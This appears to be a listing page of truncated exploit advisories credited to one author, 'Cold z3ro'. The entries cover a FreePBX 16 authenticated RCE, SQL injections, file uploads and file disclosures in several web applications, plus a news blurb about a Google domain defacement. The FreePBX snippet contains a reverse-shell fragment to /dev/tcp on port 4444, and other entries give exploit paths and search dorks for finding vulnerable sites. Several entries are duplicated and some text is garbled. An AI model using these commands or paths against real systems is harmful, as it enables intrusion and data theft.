FreePBX 16 Remote Code Execution

Exploit Title: FreePBX 16 - Remote Code Execution RCE Authenticated Exploit Author: Cold z3ro Date: 6/1/2024 Tested on: 14,15,16 Vendor: https://www.freepbx.org/ %26 /dev/tcp/'.$backconnectip.'/4444 0%261'; curlsetopt$ch, CURLOPTSSLVERIFYHOST, false; curlsetopt$ch, CURLOPTSSLVERIFYPEER, false; ec...

FreePBX 16 - Remote Code Execution (RCE) (Authenticated)

Exploit Title: FreePBX 16 - Remote Code Execution RCE Authenticated Exploit Author: Cold z3ro Date: 6/1/2024 Tested on: 14,15,16 Vendor: https://www.freepbx.org/ %26 /dev/tcp/'.$backconnectip.'/4444 0%261'; curlsetopt$ch, CURLOPTSSLVERIFYHOST, false; curlsetopt$ch, CURLOPTSSLVERIFYPEER, false; ec...

NEC Electra Elite IPK II WebPro 01.03.01 - Session Enumeration

Title: NEC Electra Elite IPK II WebPro 01.03.01 - Session Enumeration Author: Cold z3ro Date: 2020-05-04 Homepage: https://www.0x30.cc/ Vendor Homepage: https://www.nec.com Version: 01.03.01 Discription: NEC SL2100 NEC Electra Elite IPK II WebPro Session Enumeration = $maxproc while pcntlwaitpid0...

Joomla Component Expose <= RC35 Remote File Upload Vulnerability

No description provided by source. HHHHHHH HHHHHH HH HHHHHHHH HHHHHH HHHHHHHH IHHI HH HH HHHHHHHH HH HH HH HH HH HHHHHHHH HH IHHI HH HHH HH HHHHHHHH HH HH HH HH HH HH HH HH HH HHHH HH HH HHHHHHH HHHHHH HH HHHHHHH HHHHHH HH HH HH HH HH HHHHHHHH HH HH HH HH HH HH HH HH HH HHHH HH HH HH HH HH HHHHHH...

SimpCMS <= all (keyword) Remote SQL Injection Vulnerability

No description provided by source. SimpCMS = all Remote SQL Injection Vulnerability Found By : ú Cold z3ro , http://www.hackteach.org/ Script : http://www.simpcms.com/ ==================================== Exploit :...

PhotoPost vBGallery 2.4.2 - Arbitrary File Upload Vulnerability

No description provided by source. vBulletin PhotoPost vBGallery v2.x Remote File Upload Found by : Cold z3ro e-mail : [email protected] Home page : www.Hack.ps ============================== exploit usage : http://localhost/Forum/$gallerypath/upload.php here the exploiter can upload php...

php-revista <= 1.1.2 - Multiple Remote SQL Injection Vulnerabilities

No description provided by source. php-revista = 1.1.2 Remote SQL Injection Exploit Found by & contact : Cold z3ro , [email protected] script : http://downloads.sourceforge.net/php-revista/revista-1.1.2.tgz?modtime=1025654400&bigmirror=0 Exploits :...

Exclusive : Google Palestine domain hacked and defaced

Google has local domains for almost every country in the world. Just now some hackers from Palestine hacked into Google's Palestine domain and defaced it The message appearing on the defaced page says, "uncle google we say hi from Palestine to remember you that the country in google map not calle...

Exclusive : Google Palestine domain hacked and defaced

Google has local domains for almost every country in the world. Just now some hackers from Palestine hacked into Google's Palestine domain and defaced it The message appearing on the defaced page says, "uncle google we say hi from Palestine to remember you that the country in google map not calle...

Traidnt up 2.0 (report.php trtext) Blind SQL Injection Vulnerability

Traidnt up is a php online upload script assignmessage,charset$errors."انتظر سوف يتم تحويلك للملف مرة أخري".""; $traidnt-display"message.tpl"; else $ip = getenv'REMOTEADDR'; $reportquery = $db-query" INSERT INTO report reportkey ,reportwhy ,reportip VALUES '$fileid', '$trtext', '$ip';";...

Wordpress Plugin tdo-mini-forms (rfu/rfd) Vulnerabilities

Exploit for php platform in category web applications wordpress tdo-mini-forms plugin rfu/rfd Vulnerabilities ------------------------------------------------------------ wordpress tdo-mini-forms plugin remote file upload/remote file deletion Vulnerabilities Auther : Cold z3ro , www.hackteach.org...

Online Keyword Research Tool File Disclosure

Online Keyword Research download.php filename Local File Include author : Cold z3ro, http://www.hackteach.org/ script : http://secure.emetrix.com/order/product.asp?PID=68900247 demo : http://www.rightscripts.com/keywordresearch/ Exploit...

Extract Website (download.php filename) File Disclosure Vulnerability

No description provided by source. Extract Website download.php filename Local File Include author : Cold z3ro, http://www.hackteach.org/ script : http://secure.emetrix.com/order/product.asp?PID=74332316 demo : http://www.rightscripts.com/extractwebsite/ about : This tool help you extract web dat...

Extract Website - &#039;Filename&#039; File Disclosure

Extract Website download.php filename Local File Include author : Cold z3ro, http://www.hackteach.org/ script : http://secure.emetrix.com/order/product.asp?PID=74332316 demo : http://www.rightscripts.com/extractwebsite/ about : This tool help you extract web data include URL links, domain names,...

Online Keyword Research Tool - download.php File Disclosure

Online Keyword Research Tool - download.php File Disclosure Online Keyword Research download.php filename Local File Include author : Cold z3ro, http://www.hackteach.org/ script : http://secure.emetrix.com/order/product.asp?PID=68900247 demo : http://www.rightscripts.com/keywordresearch/ Exploit...

Online Keyword Research Tool (download.php) File Disclosure Vuln

Exploit for unknown platform in category web applications ================================================================ Online Keyword Research Tool download.php File Disclosure Vuln ================================================================ Online Keyword Research download.php filename...

Extract Website - Filename File Disclosure

Extract Website - Filename File Disclosure Extract Website download.php filename Local File Include author : Cold z3ro, http://www.hackteach.org/ script : http://secure.emetrix.com/order/product.asp?PID=74332316 demo : http://www.rightscripts.com/extractwebsite/ about : This tool help you extract...

Online Keyword Research Tool - &#039;download.php&#039; File Disclosure

Online Keyword Research download.php filename Local File Include author : Cold z3ro, http://www.hackteach.org/ script : http://secure.emetrix.com/order/product.asp?PID=68900247 demo : http://www.rightscripts.com/keywordresearch/ Exploit...

Liberum Help Desk 0.97.3 - SQL Injection File Disclosure

Liberum Help Desk 0.97.3 - SQL Injection File Disclosure Liberum Help Desk SQL/DD Multiple Remote Vulnerabilities author : Cold z3ro, www.hackteach.org Dork : "Liberum Help Desk, Copyright C 2001 Doug Luxem" ============== SQL Injection http://www.site.com/path/forgotpass.asp In uid insert SQL...

Web Wiz Guestbook 8.21 - Database Disclosure

============= Web Wiz Guestbook v8.21 WWGguestbook.mdb Remote Database Disclosure Vulnerability auther : Cold z3ro, www.hackteach.org http://site.com/Path/database/WWGguestbook.mdb Dork : webwizguestbooklicense.asp ============= milw0rm.com 2008-12-16...